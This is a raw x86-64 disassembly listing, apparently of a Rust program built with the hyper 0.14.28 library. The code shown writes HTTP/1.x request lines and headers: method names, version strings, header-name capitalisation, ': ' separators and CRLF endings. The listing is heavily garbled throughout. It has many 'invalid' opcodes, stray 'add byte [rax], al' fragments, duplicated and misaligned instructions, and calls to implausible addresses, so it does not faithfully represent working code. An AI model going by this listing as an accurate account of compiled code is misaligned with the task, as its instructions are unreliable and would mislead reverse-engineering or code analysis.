movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rsi
call fcn.1400dfbe0
test rax, rax
je 0x140094e9d
mov rcx, rax
mov rdi, qword [r12 + 0x10]
jmp 0x140093939
add rax, rdi
mov rdx, qword [rax + 8]
mov rcx, rsi
call fcn.140039cf0
mov rdx, qword [rsi + 0x28]
cmp rdx, r13
jbe 0x140094d37
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + rdi + 0x38]
mov qword [rsp + 0xd0], rcx
movdqu xmm0, xmmword [rax + rdi + 0x18]
movdqu xmm1, xmmword [rax + rdi + 0x28]
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmmword [rsp + 0xb0], xmm0
lea rcx, [0x14012ad68]
mov qword [rax + rdi + 0x18], rcx
lea rcx, str.chunkedoriginal_header_value_plus_ascii_is_validC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcheaders.rs
mov qword [rax + rdi + 0x20], rcx
mov qword [rax + rdi + 0x28], 7
mov qword [rax + rdi + 0x30], 0
add byte [rax], al
add byte [rax], al
mov byte [rax + rdi + 0x38], 0
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
jmp 0x140093d5f
mov ecx, 1
mov rdi, 0xfffffffffffffff7
idiv edi
invalid
invalid
idiv edi
invalid
mov r8, rsi
shr r8, 0xa
mov eax, 0x40
add byte [rax], al
add byte [rax], al
mov edx, 0x40
je 0x140093954
bsr rdx, r8
xor rdx, 0x3f
ror byte [rax - 0x7d], 1
invalid
sub rax, rdx
cmp rax, 7
mov edx, 7
cmovb rdx, rax
mov eax, edx
lea rax, [rax*4 + 1]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], rax
mov r15, qword [r12 + 8]
cmp rsi, rdi
jae 0x1400939be
lea rcx, [rsp + 0x80]
mov rdx, rdi
call fcn.140012910
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
add bl, ch
invalid
add bl, ch
add dh, byte [rcx]
ror byte [rax + 1], 0xc1
xor eax, eax
add rcx, rax
lea rsi, [rsp + 0x90]
mov rdx, r15
mov r8, rdi
call fcn.140106250
add rdi, qword [rsp + 0x88]
mov qword [rsp + 0x110], rdi
mov rax, qword [rsp + 0x90]
sub rax, rdi
jb 0x140094ddc
mov qword [rsp + 0x88], rdi
cmp rax, 1
ja 0x140093a1f
lea rcx, [rsp + 0x80]
mov edx, 2
call fcn.140012910
mov rdi, qword [rsp + 0x88]
mov rax, qword [rsp + 0x80]
mov word [rax + rdi], 0x202c
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x90]
add rax, 2
mov qword [rsp + 0x110], rax
sub rcx, rax
jb 0x140094ddc
mov qword [rsp + 0x88], rax
cmp rcx, 6
ja 0x140093a7a
lea rcx, [rsp + 0x80]
mov edx, 7
call fcn.140012910
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
mov dword [rcx + rax + 3], 0x64656b6e
mov dword [rcx + rax], 0x6e756863
mov r8, qword [rsp + 0x88]
mov r13, qword [rsp + 0x90]
add r8, 7
mov qword [rsp + 0x110], r8
cmp r8, r13
ja 0x140094ddc
mov qword [rsp + 0x88], r8
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x98]
test sil, 1
mov byte [rcx], 0x75
invalid
mov byte [rcx], 0x75
or al, 0x4c
lea ecx, [0x14014ef30]
lea r9, [0x14014ef30]
jmp 0x140093c45
add dword gs:[rax], eax
add byte [rax - 0x3f], cl
out dx, al
add eax, 0x4ef72948
sub rdi, rsi
lea r15, [rsi + r8]
shr rsi, 5
sub rdi, rsi
lea r15, [rsi + r8]
cmp r8, r13
jne 0x140093b16
call 0xc5566167
dec dword [rdi]
test byte [0x180093afb], dl
add byte [rax - 0xa], al
mov dword [rcx], 0x11e850f
add byte [rax], al
test r15, r15
je 0x140093c0e
invalid
add byte [rax - 0xa], al
mov dword [rcx], 0x11e850f
add byte [rax], al
mov rax, rdi
mov eax, edi
or rax, 1
lea r9, [0x140129108]
or eax, 0x955f7
enter 0x4c01, 0xffffffffffffff8d
add dword [rbp + rcx*4 + 0xd], ecx
not dword [rbp + 9]
add cl, ch
adc eax, 0xf000001
add byte [rdi], cl
or eax, 0x955f7
jmp 0x140093c2b
add byte [rdi], cl
movzx eax, byte [0x140182310]
mov edx, 0x18
add byte [rax], al
mov dh, 5
out 0xe, eax
out 0xe, eax
out 0xe, eax
add byte [rdx + 0x18], bh
add byte [rax], al
xor ecx, ecx
call fcn.1400dfbe0
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
cli
adc eax, dword [rax]
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
cli
adc eax, dword [rax]
add byte [rcx + 1], cl
add r13, rsi
cmc
mov qword [rax], rdi
mov qword [rax + 8], r13
mov qword [rax + 0x10], 1
adc byte [rcx], al
add byte [rax], al
add byte [rax], al
lea r9, [0x140113bb0]
jmp 0x140093c2b
add byte [rax], al
lea r9, [0x140113bb0]
lea ecx, [0x140113bb0]
jmp 0x140093c2b
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x70]
and al, 0x70
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0xe0], eax
and al, 0xe0
add byte [rax], al
add bl, dh
movq mm0, qword [rsp + 0x40]
and al, 0x40
loopne 0x140093b5b
add byte [rax], al
movdqu xmm0, xmmword [rsp + 0x40]
and al, 0x40
movdqu xmm1, xmmword [rsp + 0x50]
movq mm1, qword [rsp + 0x50]
and al, 0x50
movdqu xmm2, xmmword [rsp + 0x60]
movq mm2, qword [rsp + 0x60]
outsd dx, dword [rsi]
push rsp
and al, 0x60
movdqa xmmword [rsp + 0xd0], xmm2
movq qword [rsp + 0xd0], mm2
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x140093b08
movdqa xmmword [rsp + 0xc0], xmm1
and al, 0xc0
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x140093b09
add byte [rax], al
movdqa xmmword [rsp + 0xb0], xmm0
lea rax, [0x14012ad68]
xlatb
jno 0x140093b99
invalid
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x971d7
xlatb
jno 0x140093b99
invalid
xlatb
jno 0x140093b99
add byte [rax - 0x77], cl
mov qword [rsp + 0x80], rax
test byte [rax + rax*4], ah
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x97bf8
lea rax, str.chunkedoriginal_header_value_plus_ascii_is_validC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcheaders.rs
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 7
nop
add byte [rax], al
add byte [rdi], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
cwde
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
nop
nop
add byte [rax], al
add byte [rdi], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
cwde
invalid
cwde
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
invalid
xchg esp, eax
and al, 0x80
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x80]
lea edx, [rsp + 0x80]
lea edx, [rsp + 0x80]
add byte [rax], al
add al, ch
add edx, dword [rax - 6]
dec dword [rax - 0x7b]
invalid
call fcn.140038be0
test rax, rax
test eax, eax
test eax, eax
ror byte [rdi], 0x84
push rbp
adc eax, dword [rax]
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x4c], 0x24
sub byte [rbx + 0x159248c], cl
mov ecx, dword [rsp + 0x159]
je 0x140094f3b
xor eax, eax
mov r9, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x159]
pop rcx
add dword [rax], eax
add byte [rbx + 0x15c2494], cl
add byte [rax], al
mov edx, dword [rsp + 0x15c]
and al, 0x5c
add dword [rax], eax
add byte [rcx + 0x832494], cl
add byte [rax], al
mov dword [rsp + 0x83], edx
mov dword [rsp + 0x80], ecx
jmp 0x140093de6
add dword [rax], eax
invalid
add cl, ch
fadd dword [rcx]
add dword [rax], eax
add byte [rbp + rcx*4 + 0xd], cl
or eax, 0x7feab
add dword [rax], eax
add byte [rbp + rcx*4 + 0xd], cl
invalid
stosd dword [rdi], eax
inc byte [rdi]
or eax, 0x7feab
add byte [rdi + 1], bh
mov edi, 1
add byte [rcx], dh
rol byte [rbp + 0x31], 0xff
xor eax, eax
xor r15d, r15d
jmp 0x140093c2b
lea r9, [0x140129120]
push rsp
or dword [rax], eax
invalid
add byte [rax - 0x77], cl
clc
mov rax, rdi
mov qword [rsp + 0x140], rsi
mov r8, r15
clc
clc
sub r8, rsi
jb 0x140094eaa
invalid
add byte [rax + 1], cl
test dword [rax - 0x77], 0x8c894cc6
invalid
mov qword [rsp + 0xb0], r9
invalid
invalid
mov esp, 0xb824
add byte [rax], al
add rdi, rsi
mov rsi, rax
invalid
invalid
mov qword [rsp + 0xb0], r9
mov qword [rsp + 0xb8], rdi
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], cl
mov qword [rsp + 0xc0], r8
mov qword [rsp + 0xc8], rsi
and al, 0xc8
add byte [rax], al
invalid
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
and al, 0xc8
add byte [rax], al
invalid
and al, 0xc8
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rcx + riz*2 + 0x48], 0x8d
invalid
lea rcx, [rsp + 0xc8]
xor eax, eax
jmp 0x140093c8d
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
test r8, r8
je 0x140093ccb
invalid
invalid
lea rcx, [rsp + 0xc8]
xor eax, eax
jmp 0x140093c8d
invalid
nop dword cs:[rax + rax]
cmp dl, 0x7f
je 0x140093c9b
inc rax
cmp r8, rax
je 0x140093ccb
movzx edx, byte [rdi + rax]
cmp dl, 0x1f
mov dh, 0x14
invalid
ja 0x140093c80
cmp dl, 9
je case.0x140070c13.157
mov rdx, rdi
mov edx, edi
call qword [r9 + 0x10]
lea rax, [0x14012b830]
lea eax, [0x14012b830]
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rcx, [0x14012b79f]
or eax, 0x97aea
lea r9, [0x14012a7a8]
push 9
add byte [rbp + rcx*4 + 0x44], cl
lea r8, [rsp + 0x37]
lea r8, [rsp + 0x37]
mov edx, 0x29
call fcn.140108600
xor eax, 0xf000749
adc byte [rsp + 0xb0], al
test byte [rax + rsi*4], ah
add byte [rax], al
invalid
movups xmm0, xmmword [rsp + 0xb0]
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xc0], cl
add byte [rax], al
invalid
movups xmm1, xmmword [rsp + 0xc0]
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x50], ecx
movaps xmmword [rsp + 0x50], xmm1
and al, 0x50
movaps xmmword [rsp + 0xb0], xmm0
add byte [rax], al
movaps xmmword [rsp + 0xc0], xmm1
mov eax, dword [rsp + 0x110]
add dword [rax], eax
invalid
rol byte [rax], 0
add byte [rbx + 0x1102484], cl
invalid
adc byte [rcx], al
add dword [rax], eax
add byte [rbx + 0x113248c], cl
adc eax, dword [rcx]
add byte [rax], al
mov ecx, dword [rsp + 0x113]
adc eax, dword [rcx]
add byte [rax], al
add byte [rcx + 0x1402484], cl
add byte [rax], al
mov dword [rsp + 0x140], eax
mov dword [rsp + 0x143], ecx
lea rcx, [r12 + 0x18]
add dword [r8], eax
add byte [rcx - 0x73], cl
and al, 0x18
mov rax, qword [r12]
mov rdx, qword [r12 + 8]
or byte [rbp - 0x75], cl
and al, 0x10
or byte [rbp - 0x75], cl
and al, 0x10
call qword [rax + 0x10]
movdqa xmm0, xmmword [rsp + 0xb0]
movdqa xmm1, xmmword [rsp + 0xc0]
outsd dx, dword [rsi]
mov word [rax + rax*8], fs
add byte [rax], al
add bl, dh
movq qword [r12 + 0x10], mm1
movq qword [rsp + 0x10], mm1
outsd dx, dword [rsi]
mov word [rax + rax*8], fs
add byte [rax], al
add bl, dh
movq qword [r12 + 0x10], mm1
movq qword [rsp + 0x10], mm1
movq qword [rsp + 0x10], mm1
jg 0x140093d85
and al, 0x10
movdqu xmmword [r12], xmm0
mov byte [r12 + 0x20], 0
add byte [rbx + 0x1402484], cl
add byte [rax], al
add byte [rbx + 0x1402484], cl
add byte [rax], al
add dword [rax], eax
add byte [rbx + 0x143248c], cl
add byte [rax], al
mov ecx, dword [rsp + 0x143]
mov dword [r12 + 0x21], eax
mov dword [r12 + 0x24], ecx
mov eax, dword [rsp + 0x159]
mov ecx, dword [rsp + 0x15c]
mov dword [rsp + 0x83], ecx
mov dword [rsp + 0x80], eax
cmp r14, 1
inc byte [rcx]
inc byte [rcx]
jne 0x140093ddf
movups xmm0, xmmword [0x140142ee0]
int1
or al, byte [rax]
movaps xmmword [rsp + 0x50], xmm0
and al, 0x50
movdqu xmm0, xmmword [0x140142ed0]
movdqa xmmword [rsp + 0x40], xmm0
jg case.0x14008fa42.50
and al, 0x40
jg case.0x14008fa42.50
and al, 0x40
lea rcx, [rsp + 0xb0]
lea r8, [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
call fcn.14003a170
cmp byte [rsp + 0xd0], 2
je 0x140093ddf
lea rcx, [rsp + 0xc8]
enter 0, 0
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
push rax
invalid
push rax
adc byte [rcx], dh
ror byte [rbx + rcx*4 + 0x4c], 0x24
sub byte [rax - 0x77], cl
and al, 0x40
xor eax, eax
mov r9, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdi
mov byte [rsp + 0x50], 0
mov eax, dword [rsp + 0x80]
mov ecx, dword [rsp + 0x83]
mov dword [rsp + 0x51], eax
mov dword [rsp + 0x54], ecx
push rsp
push rsp
lea r14, [r9 + 0xd8]
mov rsi, qword [rsp + 0x38]
mov esi, dword [rsp + 0x38]
mov esi, dword [rsp + 0x38]
je 0x140093e3a
cmp byte [rbx + rcx*4 + 0x46], cl
add r8, qword [rsi + 0x28]
mov r8, qword [rsi + 0x40]
mov eax, dword [rsi + 0x40]
add r8, qword [rsi + 0x28]
lea rax, [r8 + r8]
lea eax, [rax + rax]
add al, 0
shl r8, 5
sub r8, rax
add r8, 0x1e
mov rax, qword [r9 + 0xd8]
mov eax, dword [rcx + 0xd8]
mov eax, dword [rcx + 0xd8]
fadd dword [rax]
add byte [rax], al
invalid
add byte [rcx - 0x75], cl
xchg ecx, eax
call 0x188093e3d
mov rdx, qword [r9 + 0xe8]
add byte [rax], al
sub rax, rdx
sub eax, edx
cmp rax, r8
cmp eax, eax
jb case.default.0x140093e62
add byte [rax], al
movzx eax, byte [rsi + 0xb8]
mov edi, 7
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x140177cb8]
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x140177cb8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
jmp rax
or dword [rax + 1], 0x48e0ffc8
lea edx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCH
lea rdx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCH
jmp 0x140093f0b
wait
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x14012ae19]
lea rdx, [0x14012ae19]
or dword [rax], eax
mov edi, 6
jmp 0x140093f0b
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rsp + 0x38]
and al, 0x38
movzx edi, byte [rax + 0xc8]
cmp rdi, 0x10
invalid
add byte [rax - 0x7d], cl
call qword [rax]
invalid
jae 0x140094e4e
add byte [rax], al
lea rdx, [rax + 0xb9]
jmp 0x140093f0b
mov ecx, 0xeb000000
imul ecx, dword [rax - 0x73], 0x15
invalid
invalid
invalid
lea rdx, [0x14012ae12]
imul ebp, dword [rdi + 9], 0
mov edi, 4
jmp 0x140093f0b
lea rdx, [0x14012ae16]
lea edx, [0x14012ae16]
invalid
mov edi, 3
jmp 0x140093f0b
lea rdx, [0x14012ae28]
jmp 0x140093f0b
lea rdx, [0x14012ae0f]
mov edi, 3
add byte [rax], al
add byte [rax], al
jmp 0x140093f0b
lea rdx, [0x14012ae1f]
mov edi, 4
jmp 0x140093f0b
lea rdx, [0x14012ae23]
jmp 0x140093f06
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax + 0xc0]
mov rdi, qword [rax + 0xc8]
jmp 0x140093f0b
lea rdx, [0x14012ae2f]
mov edi, 5
mov rax, qword [r9 + 0xd8]
mov rsi, qword [r9 + 0xe8]
sub rax, rsi
cmp rax, rdi
jb 0x14009478d
mov rcx, qword [r9 + 0xe0]
add rcx, rsi
mov r8, rdi
call fcn.140106250
mov rcx, qword [rsp + 0x28]
add rsi, rdi
mov qword [rcx + 0xe8], rsi
cmp qword [rcx + 0xd8], rsi
je 0x1400947b2
mov rax, qword [rcx + 0xe0]
mov byte [rax + rsi], 0x20
inc rsi
mov qword [rcx + 0xe8], rsi
mov qword [rsp + 0x1a0], r14
mov rbx, qword [rsp + 0x38]
lea rax, [rbx + 0x60]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x80], rax
lea rax, [0x140032050]
mov qword [rsp + 0x88], rax
lea rax, [0x14012bd40]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 2
mov qword [rsp + 0xd0], 0
lea rdi, [rsp + 0x80]
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], 1
lea rdx, [0x14012bd60]
lea rsi, [rsp + 0x1a0]
lea r8, [rsp + 0xb0]
mov rcx, rsi
call fcn.140013bb0
idiv edi
idiv edi
movzx eax, byte [rbx + 0xd8]
cmp eax, 1
je 0x140094078
cmp eax, 2
je 0x140094056
cmp eax, 3
mov r10, qword [rsp + 0x28]
jne 0x140094d46
mov rax, qword [r10 + 0xd8]
mov rdx, qword [r10 + 0xe8]
sub rax, rdx
movabs rsi, 0x312e312f50545448
cmp rax, 7
ja 0x14009409e
mov r8d, 8
mov rcx, r14
call fcn.140109710
mov r10, qword [rsp + 0x28]
mov rdx, qword [r10 + 0xe8]
jmp 0x14009409e
mov r10, qword [rsp + 0x28]
mov rax, qword [r10 + 0xd8]
mov rdx, qword [r10 + 0xe8]
sub rax, rdx
movabs rsi, 0x312e312f50545448
jmp 0x140094098
mov r10, qword [rsp + 0x28]
mov rax, qword [r10 + 0xd8]
mov rdx, qword [r10 + 0xe8]
sub rax, rdx
movabs rsi, 0x302e312f50545448
cmp rax, 8
jb 0x14009403a
mov rax, qword [r10 + 0xe0]
mov qword [rax + rdx], rsi
add rdx, 8
mov qword [r10 + 0xe8], rdx
mov rax, qword [r10 + 0xd8]
sub rax, rdx
cmp rax, 1
jbe 0x1400947d4
mov rax, qword [r10 + 0xe0]
mov word [rax + rdx], 0xa0d
add rdx, 2
mov qword [r10 + 0xe8], rdx
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0xd0]
test rcx, rcx
je 0x1400941de
cmp qword [rcx + 0x18], 0
je 0x1400941de
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
movabs rdx, 0xbdf1d7764b15b03
xor r8d, r8d
movdqa xmm0, xmmword [0x140112a40]
pcmpeqd xmm1, xmm1
movabs rdi, 0x21f81dc503085378
mov r9, rdx
and r9, rcx
movdqu xmm2, xmmword [rax + r9]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r10d, xmm3
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
test r10w, r10w
je 0x140094190
tzcnt esi, r10d
lea r11d, [r10 - 1]
and r11d, r10d
mov r10d, r11d
add rsi, r9
and rsi, rcx
shl rsi, 5
mov r11, rax
sub r11, rsi
cmp qword [r11 - 0x20], rdi
jne 0x140094150
cmp qword [r11 - 0x18], rdx
jne 0x140094150
call 0x170f510f8
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
jmp 0x1400941b3
add byte [rax], al
add byte [rax], al
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
rol byte [rbp - 0x7b], cl
ror byte [rbx + rcx*4 + 0x54], cl
and al, 0x28
rol byte [rbp - 0x7b], cl
ror byte [rbx + rcx*4 + 0x54], cl
and al, 0x28
jne 0x1400941de
add r9, r8
add r9, 0x10
add r8, 0x10
jmp 0x14009412d
mov rsi, qword [r11 - 0x10]
mov rax, qword [r11 - 8]
mov rcx, rsi
call qword [rax + 0x18]
cmp rax, rdi
mov r10, qword [rsp + 0x28]
jne 0x1400941de
movabs rax, 0xbdf1d7764b15b03
cmp rdx, rax
je 0x1400947f3
test bpl, bpl
je 0x1400944e8
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x148], rcx
mov rcx, qword [rax + 0x28]
xor ebp, ebp
mov qword [rsp + 0x118], rcx
add byte [rax], al
add byte [rax], al
test rcx, rcx
sete bpl
mov rcx, qword [rax + 0x40]
mov qword [rsp + 0x170], rcx
and al, 0x70
add dword [rax], eax
add byte [rax - 0x75], cl
cmp byte [rax - 0x77], cl
test byte [rax + rcx*8], ah
add dword [rax], eax
add byte [rcx], al
in eax, dx
and al, 0x70
add dword [rax], eax
add byte [rax - 0x75], cl
cmp byte [rax - 0x77], cl
test byte [rax + rcx*8], ah
add dword [rax], eax
add byte [rcx], al
in eax, dx
xor r13d, r13d
jmp 0x140094242
mov word [r12 + rdi], 0xa0d
add rdi, 2
mov qword [r10 + 0xe8], rdi
cmp rbp, 2
jne 0x140094270
inc r13
cmp r13, qword [rsp + 0x118]
jae 0x14009480b
imul rcx, r13, 0x68
add rcx, qword [rsp + 0x148]
jmp 0x1400942e0
cmp r13, qword [rsp + 0x118]
jae 0x140094cb1
imul rcx, r13, 0x68
add rcx, qword [rsp + 0x148]
cmp rbp, 1
jne 0x1400942e0
mov rax, qword [rsp + 0x128]
cmp rax, qword [rsp + 0x170]
jae case.0x14007337a.231
lea rax, [rax + rax*8]
mov rdx, qword [rsp + 0x1c8]
lea rbx, [rdx + rax*8]
cmp qword [rdx + rax*8 + 0x10], 0
je 0x1400942ff
mov rax, qword [rbx + 0x18]
mov qword [rsp + 0x128], rax
mov ebp, 1
jmp 0x140094304
mov rax, qword [rcx + 8]
mov qword [rsp + 0x128], rax
cmp qword [rcx], 1
mov ebp, 0
adc rbp, 1
lea rbx, [rcx + 0x18]
jmp 0x140094308
mov ebp, 2
add rbx, 0x20
add rcx, 0x40
call fcn.14003a3c0
mov rsi, rax
mov r12, rdx
mov r9, qword [rsp + 0x28]
mov r15, qword [r9 + 0xd8]
mov rdi, qword [r9 + 0xe8]
mov rax, r15
sub rax, rdi
cmp rax, rdx
jb 0x14009446c
test r12, r12
je 0x1400943e1
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x150], rbp
mov qword [rsp + 0x138], r13
mov r15b, 0x2d
xor r13d, r13d
jmp 0x140094397
and r15b, bl
shl r15b, 5
xor r15b, bpl
mov rax, qword [r9 + 0xe0]
mov byte [rax + rdi], r15b
inc rdi
mov qword [r9 + 0xe8], rdi
inc r13
cmp r12, r13
je 0x1400943c0
movzx ebp, byte [rsi + r13]
cmp r15b, 0x2d
sete r15b
lea eax, [rbp - 0x61]
cmp al, 0x1a
setb bl
cmp rdi, qword [r14]
jne 0x140094370
mov rcx, r14
call fcn.1400ba350
mov r9, qword [rsp + 0x28]
jmp 0x140094370
mov r15, qword [r14]
mov rax, r15
sub rax, rdi
mov r13, qword [rsp + 0x138]
mov rbp, qword [rsp + 0x150]
mov rbx, qword [rsp + 0x130]
cmp rax, 1
jbe 0x14009448b
mov r12, qword [r9 + 0xe0]
mov word [r12 + rdi], 0x203a
add rdi, 2
mov qword [r9 + 0xe8], rdi
mov rdx, qword [rbx + 8]
mov rsi, qword [rbx + 0x10]
mov rax, r15
sub rax, rdi
cmp rax, rsi
jb 0x1400944b4
lea rcx, [r12 + rdi]
mov r8, rsi
call fcn.140106250
add rdi, rsi
mov r10, qword [rsp + 0x28]
mov qword [r10 + 0xe8], rdi
sub r15, rdi
cmp r15, 1
ja 0x140094230
std
invalid
invalid
std
invalid
mov r8d, 2
mov rcx, r14
mov rdx, rdi
call fcn.140109710
mov r10, qword [rsp + 0x28]
mov r12, qword [r10 + 0xe0]
mov rdi, qword [r10 + 0xe8]
jmp 0x140094230
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.140109710
mov r9, qword [rsp + 0x28]
mov rdi, qword [r9 + 0xe8]
jmp 0x140094342
mov r8d, 2
mov rcx, r14
mov rdx, rdi
call fcn.140109710
mov r9, qword [rsp + 0x28]
mov r15, qword [r9 + 0xd8]
mov rdi, qword [r9 + 0xe8]
jmp 0x1400943eb
mov rcx, r14
mov rbx, rdx
mov rdx, rdi
mov r8, rsi
mov r12, r9
call fcn.140109710
mov rdx, rbx
mov rdi, qword [r12 + 0xe8]
mov r15, qword [r12 + 0xd8]
mov r12, qword [r12 + 0xe0]
jmp 0x14009441b
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x128], rcx
mov rcx, qword [rax + 0x28]
xor ebx, ebx
mov qword [rsp + 0x130], rcx
test rcx, rcx
sete bl
mov rcx, qword [rax + 0x40]
mov qword [rsp + 0x118], rcx
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x148], rax
add ebx, ebx
xor r13d, r13d
jmp 0x140094548
mov rax, qword [r10 + 0xe0]
mov word [rax + rdi], 0xa0d
add rdi, 2
mov qword [r10 + 0xe8], rdi
cmp rbx, 2
jne 0x140094580
inc r13
cmp r13, qword [rsp + 0x130]
jae 0x14009480b
mov qword [rsp + 0x138], r13
imul rcx, r13, 0x68
add rcx, qword [rsp + 0x128]
jmp 0x1400945f0
cmp r13, qword [rsp + 0x130]
jae 0x140094cc8
imul rcx, r13, 0x68
add rcx, qword [rsp + 0x128]
sub byte [rcx], al
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
cmp rbx, 1
mov qword [rsp + 0x138], r13
jne 0x1400945f0
mov rax, qword [rsp + 0x150]
cmp rax, qword [rsp + 0x118]
jae 0x140094cf6
lea rax, [rax + rax*8]
mov rdx, qword [rsp + 0x148]
add qword [rax], rax
add byte [rax - 0x73], cl
sub al, 0xc2
add qword [rax], rax
add byte [rax - 0x73], cl
sub al, 0xc2
cmp qword [rdx + rax*8 + 0x10], 0
je 0x14009460f
mov rax, qword [rbp + 0x18]
mov qword [rsp + 0x150], rax
add byte [rax], al
add byte [rax], al
mov ebx, 1
jmp 0x140094614
mov rax, qword [rcx + 8]
mov qword [rsp + 0x150], rax
cmp qword [rcx], 1
mov ebx, 0
adc rbx, 1
lea rbp, [rcx + 0x18]
jmp 0x140094618
mov ebx, 2
add rbp, 0x20
add rcx, 0x40
call fcn.14003a3c0
mov r12, rax
mov rdi, rdx
mov rcx, qword [rsp + 0x28]
mov r13, qword [rcx + 0xd8]
mov r15, qword [rcx + 0xe8]
mov rax, r13
sub rax, r15
cmp rax, rdx
jb 0x140094701
mov rsi, qword [rcx + 0xe0]
loopne 0x14009464e
add byte [rax], al
lea rcx, [rsi + r15]
mov rdx, r12
mov r8, rdi
call fcn.140106250
sbb eax, dword [rdi]
add byte [rbx + rcx*4 + 0x4c], cl
and al, 0x28
sbb eax, dword [rdi]
add byte [rbx + rcx*4 + 0x4c], cl
and al, 0x28
add rdi, r15
mov qword [r9 + 0xe8], rdi
mov rax, r13
sub rax, rdi
cmp rax, 1
jbe 0x140094727
mov word [rsi + rdi], 0x203a
add rdi, 2
mov qword [r9 + 0xe8], rdi
mov r15, qword [rbp + 8]
mov r12, qword [rbp + 0x10]
sub r13, rdi
cmp r13, r12
jb 0x140094757
mov r13, qword [rsp + 0x138]
add rsi, rdi
mov rcx, rsi
mov rdx, r15
mov r8, r12
call fcn.140106250
add rdi, r12
mov r10, qword [rsp + 0x28]
mov qword [r10 + 0xe8], rdi
mov rax, qword [r10 + 0xd8]
sub rax, rdi
cmp rax, 1
ja 0x140094530
mov r8d, 2
mov rcx, r14
mov rdx, rdi
call fcn.140109710
mov r10, qword [rsp + 0x28]
mov rdi, qword [r10 + 0xe8]
jmp 0x140094530
mov rcx, r14
mov rdx, r15
mov r8, rdi
call fcn.140109710
mov rcx, qword [rsp + 0x28]
mov r13, qword [rcx + 0xd8]
mov r15, qword [rcx + 0xe8]
jmp 0x140094649
mov r8d, 2
mov rcx, r14
mov rdx, rdi
call fcn.140109710
mov r9, qword [rsp + 0x28]
mov rdi, qword [r9 + 0xe8]
mov r13, qword [r9 + 0xd8]
mov rsi, qword [r9 + 0xe0]
jmp 0x14009467e
mov rcx, r14
mov rdx, rdi
mov r8, r12
mov rdi, r9
call fcn.140109710
mov rsi, qword [rdi + 0xe0]
mov rdi, qword [rdi + 0xe8]
jmp 0x1400946a3
